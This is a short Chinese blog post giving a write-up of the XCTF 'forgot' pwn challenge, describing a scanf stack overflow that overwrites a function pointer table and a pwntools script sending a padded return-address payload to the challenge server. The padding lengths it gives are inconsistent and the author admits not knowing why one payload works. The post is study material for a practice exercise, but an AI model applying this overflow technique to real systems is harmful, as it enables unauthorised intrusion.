xctf - forgot

xctf - forgot

check一下,开启了NX

 

拉入ida中,能找到:

__isoc99_scanf,能够无限输入,

 

 

 

 

 

 

循环中,读取32个scanf的字符并进行判断,最后根据结果调用存在栈上的函数表,正好位于溢出变量的下方,

并直接使用v3+ --v14栈地址作为函数,如果v14为1时,就会是v3地址的函数。所以构造63 byte的padding加上填充的目标地址就可以拿到flag

 

 

 

from pwn import *

context.log_level = 'debug'

p = remote('111.198.29.45',31543)
#p = process('./forgot')
'''
payload="A"*63+"\xcc\x86\x04\x08"
p.recvuntil("What is your name?")
p.sendline(payload)
p.interactive()

'''
payload = 'A'*0x24+p32(0x080486CC) 
#payload = "A"*32+"\xcc\x86\x04\x08"
p.recvuntil("> ")
p.sendline('a')
p.recvuntil("> ")
p.sendline(payload)

p.interactive()
exp

 

ps: 暂时不知道为什么payload = "A"*32+"\xcc\x86\x04\x08"可以得到flag,但是payload = "a"*32+"\xcc\x86\x04\x08"却不能。

posted @ 2019-12-11 21:55  一点涵  阅读(546)  评论(0编辑  收藏  举报